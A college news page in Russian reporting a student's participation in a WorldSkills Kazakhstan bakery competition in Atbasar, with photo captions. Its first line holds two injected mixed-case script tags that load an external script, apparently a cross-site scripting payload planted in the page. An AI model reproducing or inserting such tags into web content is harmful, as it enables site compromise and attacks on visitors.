<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

10.03.2017

27.02.17 года в городе Атбасар впервые проводился чемпионат «world skills Kazakhstan» по пекарскому мастерству.

КГУ «Агротехнический колледж №4» представляла обучающаяся 2–го курса Бондарева Виктория Витальевна. В условиях конкурса участники должны были сделать замес четырех видов теста: тесто дрожжевое безопарным способом; тесто дрожжевое опарным способом; тесто дрожжевое сдобное; тесто слоенное. Вторым этапом конкурса было формовка изделий из теста: хлеба, багета, 10 видов сдобных булочек, 3 вида круасан. Заключительным этапом конкурса была выпечка изделий и презентация готовых изделий. Виктория справилась со всеми этапами конкурса была отмечена за аккуратность в работе, выпечку круасан.

Награждена грамотой в номинации: «Наубайханалық шеберлік»

Мастер производственного обучения      Гренина Н.А.

Начало

С руководителями группы

Открытие

Рабочий момент

Готовые изделия

Защита

В процессе работы

Выпечка багета

Подготовка рабочего места

Презентация

Рабочие моменты

Формовка изделия

С формованными изделиями